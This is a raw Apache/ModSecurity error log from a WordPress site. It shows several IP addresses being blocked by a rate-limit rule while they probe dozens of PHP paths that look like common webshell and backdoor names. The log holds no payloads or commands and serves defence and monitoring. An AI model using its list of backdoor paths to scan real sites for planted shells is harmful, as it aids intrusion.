[Mon Apr 06 18:49:22.748078 2026] [:error] [pid 38562:tid 38576] [client 51.120.80.210:54418] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "adOPsqeD6Ohe6wzRuy5nkAAAAUs"]
[Mon Apr 06 18:49:23.560830 2026] [:error] [pid 38562:tid 38568] [client 51.120.80.210:42363] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "adOPs6eD6Ohe6wzRuy5nlAAAAUM"]
[Mon Apr 06 18:49:24.748132 2026] [:error] [pid 38562:tid 38572] [client 51.120.80.210:50339] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "adOPtKeD6Ohe6wzRuy5nnQAAAUc"]
[Mon Apr 06 18:49:26.085805 2026] [:error] [pid 35688:tid 35771] [client 51.120.80.210:59358] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "adOPtuZ85qg4jLsRpQxw9AAAAJU"]
[Mon Apr 06 18:49:26.922229 2026] [:error] [pid 35688:tid 35768] [client 51.120.80.210:50342] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "adOPtuZ85qg4jLsRpQxw9wAAAJI"]
[Mon Apr 06 18:49:27.723883 2026] [:error] [pid 1827:tid 1836] [client 51.120.80.210:50334] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "adOPt-Veb6S_DnjZ2xH4fAAAAgc"]
[Mon Apr 06 18:49:28.615914 2026] [:error] [pid 35688:tid 35770] [client 51.120.80.210:50547] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "adOPuOZ85qg4jLsRpQxxAQAAAJQ"]
[Mon Apr 06 18:49:29.652865 2026] [:error] [pid 35687:tid 35730] [client 51.120.80.210:50529] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "adOPuZ3LtDozV0i8Bita7gAAAEc"]
[Mon Apr 06 18:49:30.611658 2026] [:error] [pid 38562:tid 38571] [client 51.120.80.210:59287] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "adOPuqeD6Ohe6wzRuy5nsAAAAUY"]
[Mon Apr 06 18:49:30.611740 2026] [:error] [pid 9442:tid 9453] [client 74.248.150.154:35502] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adOPukPsNnAJTnmz6saDpwAAAQk"]
[Mon Apr 06 18:49:31.651687 2026] [:error] [pid 35688:tid 35762] [client 51.120.80.210:48981] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "adOPu-Z85qg4jLsRpQxxDQAAAIw"]
[Mon Apr 06 18:49:32.931845 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:48994] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adOPvOZ85qg4jLsRpQxxGwAAAIc"]
[Mon Apr 06 18:49:33.376467 2026] [autoindex:error] [pid 35687:tid 35739] [client 172.213.138.9:44025] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:49:33.838603 2026] [:error] [pid 10280:tid 10307] [client 51.120.80.210:35598] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adOPvV8QUJkf8g-BFfPMTQAAAdg"]
[Mon Apr 06 18:49:34.728927 2026] [:error] [pid 35688:tid 35772] [client 51.120.80.210:35591] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adOPvuZ85qg4jLsRpQxxJgAAAJY"]
[Mon Apr 06 18:49:35.658438 2026] [:error] [pid 1827:tid 1840] [client 51.120.80.210:59349] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adOPv-Veb6S_DnjZ2xH4fwAAAgs"]
[Mon Apr 06 18:49:36.412404 2026] [:error] [pid 38562:tid 38584] [client 51.120.80.210:51168] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPwKeD6Ohe6wzRuy5nugAAAVM"]
[Mon Apr 06 18:49:36.539057 2026] [autoindex:error] [pid 35687:tid 35733] [client 172.213.138.9:44025] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:49:37.281571 2026] [:error] [pid 9442:tid 9457] [client 51.120.80.210:42647] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPwUPsNnAJTnmz6saDswAAAQ0"]
[Mon Apr 06 18:49:38.415964 2026] [:error] [pid 35688:tid 35751] [client 51.120.80.210:59334] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPwuZ85qg4jLsRpQxxMAAAAIE"]
[Mon Apr 06 18:49:38.531350 2026] [:error] [pid 9442:tid 9468] [client 51.103.121.89:37451] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOPwkPsNnAJTnmz6saDuAAAARg"]
[Mon Apr 06 18:49:39.189269 2026] [:error] [pid 35686:tid 35716] [client 51.120.80.210:35613] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPw8MKdea6oORd2fzDxwAAABQ"]
[Mon Apr 06 18:49:40.123013 2026] [:error] [pid 35687:tid 35732] [client 172.213.138.9:44025] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "adOPxJ3LtDozV0i8Bita9wAAAEk"]
[Mon Apr 06 18:49:40.267811 2026] [:error] [pid 9442:tid 9445] [client 51.120.80.210:34061] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPxEPsNnAJTnmz6saDvAAAAQE"]
[Mon Apr 06 18:49:41.262807 2026] [:error] [pid 35688:tid 35762] [client 51.103.121.89:47717] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOPxeZ85qg4jLsRpQxxQQAAAIw"]
[Mon Apr 06 18:49:41.711883 2026] [:error] [pid 35688:tid 35753] [client 51.120.80.210:52360] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPxeZ85qg4jLsRpQxxRgAAAIM"]
[Mon Apr 06 18:49:43.215188 2026] [:error] [pid 1827:tid 1840] [client 51.103.121.89:35938] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOPx-Veb6S_DnjZ2xH4jwAAAgs"]
[Mon Apr 06 18:49:43.307927 2026] [:error] [pid 35786:tid 35806] [client 51.120.80.210:59383] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPx2gkfCKTaLhwaKQRwgAAAM0"]
[Mon Apr 06 18:49:44.863724 2026] [:error] [pid 9442:tid 9450] [client 51.120.80.210:42681] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPyEPsNnAJTnmz6saDwQAAAQY"]
[Mon Apr 06 18:49:46.466670 2026] [:error] [pid 35688:tid 35774] [client 51.103.121.89:47055] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOPyuZ85qg4jLsRpQxxUQAAAJg"]
[Mon Apr 06 18:49:46.661322 2026] [:error] [pid 35688:tid 35771] [client 51.120.80.210:41869] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPyuZ85qg4jLsRpQxxUwAAAJU"]
[Mon Apr 06 18:49:48.431166 2026] [:error] [pid 10280:tid 10289] [client 51.120.80.210:59342] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPzF8QUJkf8g-BFfPMWgAAAcY"]
[Mon Apr 06 18:49:48.562580 2026] [:error] [pid 35688:tid 35765] [client 74.248.150.154:47074] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adOPzOZ85qg4jLsRpQxxWgAAAI8"]
[Mon Apr 06 18:49:49.069250 2026] [:error] [pid 35688:tid 35771] [client 51.120.80.210:34080] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPzeZ85qg4jLsRpQxxWwAAAJU"]
[Mon Apr 06 18:49:49.723493 2026] [:error] [pid 10280:tid 10288] [client 51.120.80.210:53634] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPzV8QUJkf8g-BFfPMXwAAAcU"]
[Mon Apr 06 18:49:50.319642 2026] [:error] [pid 9413:tid 9430] [client 51.120.80.210:54100] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPznllvEK3chn01wG3KgAAAY8"]
[Mon Apr 06 18:49:51.372365 2026] [:error] [pid 35686:tid 35707] [client 51.120.80.210:48294] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPz8MKdea6oORd2fzD0gAAAAs"]
[Mon Apr 06 18:49:51.512065 2026] [:error] [pid 10280:tid 10286] [client 51.103.121.89:35354] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "adOPz18QUJkf8g-BFfPMZQAAAcM"]
[Mon Apr 06 18:49:52.491667 2026] [:error] [pid 9442:tid 9468] [client 51.120.80.210:42639] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOP0EPsNnAJTnmz6saDywAAARg"]
[Mon Apr 06 18:49:53.620758 2026] [:error] [pid 10280:tid 10305] [client 51.120.80.210:51187] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOP0V8QUJkf8g-BFfPMaQAAAdY"]
[Mon Apr 06 18:49:54.773432 2026] [:error] [pid 10280:tid 10289] [client 51.120.80.210:48258] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOP0l8QUJkf8g-BFfPMcgAAAcY"]
[Mon Apr 06 18:49:55.628823 2026] [:error] [pid 9442:tid 9459] [client 51.103.121.89:44673] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "adOP00PsNnAJTnmz6saDzwAAAQ8"]
[Mon Apr 06 18:49:56.590929 2026] [:error] [pid 10280:tid 10289] [client 51.103.121.89:47264] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "adOP1F8QUJkf8g-BFfPMfQAAAcY"]
[Mon Apr 06 18:49:56.903877 2026] [:error] [pid 9442:tid 9455] [client 51.120.80.210:43854] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOP1EPsNnAJTnmz6saD0QAAAQs"]
[Mon Apr 06 18:49:57.708429 2026] [:error] [pid 1827:tid 1841] [client 51.103.121.89:36732] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "adOP1eVeb6S_DnjZ2xH4lQAAAgw"]
[Mon Apr 06 18:50:01.009375 2026] [:error] [pid 38562:tid 38576] [client 51.103.121.89:43556] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "adOP2aeD6Ohe6wzRuy5nzwAAAUs"]
[Mon Apr 06 18:50:02.647053 2026] [:error] [pid 9413:tid 9417] [client 51.103.121.89:38166] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "adOP2nllvEK3chn01wG3MAAAAYI"]
[Mon Apr 06 18:50:03.937111 2026] [:error] [pid 9442:tid 9449] [client 51.103.121.89:49930] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "adOP20PsNnAJTnmz6saD3AAAAQU"]
[Mon Apr 06 18:50:05.192335 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:51929] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "adOP3eZ85qg4jLsRpQxxjwAAAIU"]
[Mon Apr 06 18:50:05.792496 2026] [:error] [pid 35688:tid 35772] [client 51.103.121.89:50166] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "adOP3eZ85qg4jLsRpQxxlQAAAJY"]
[Mon Apr 06 18:50:06.368093 2026] [:error] [pid 35688:tid 35754] [client 51.103.121.89:40355] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "adOP3uZ85qg4jLsRpQxxmQAAAIQ"]
[Mon Apr 06 18:50:07.021958 2026] [:error] [pid 9442:tid 9464] [client 172.213.138.9:42419] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOP30PsNnAJTnmz6saD3wAAARQ"]
[Mon Apr 06 18:50:07.633750 2026] [:error] [pid 35688:tid 35752] [client 51.103.121.89:42217] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "adOP3-Z85qg4jLsRpQxxngAAAII"]
[Mon Apr 06 18:50:08.702333 2026] [:error] [pid 35687:tid 35727] [client 51.103.121.89:42213] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "adOP4J3LtDozV0i8BitbBAAAAEQ"]
[Mon Apr 06 18:50:17.182465 2026] [:error] [pid 9442:tid 9451] [client 172.213.138.9:47084] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOP6UPsNnAJTnmz6saD9gAAAQc"]
[Mon Apr 06 18:50:18.009161 2026] [:error] [pid 35688:tid 35751] [client 51.120.80.210:42280] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "adOP6uZ85qg4jLsRpQxxtAAAAIE"]
[Mon Apr 06 18:50:19.790960 2026] [:error] [pid 1827:tid 1831] [client 51.120.80.210:54034] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "adOP6-Veb6S_DnjZ2xH4pgAAAgI"]
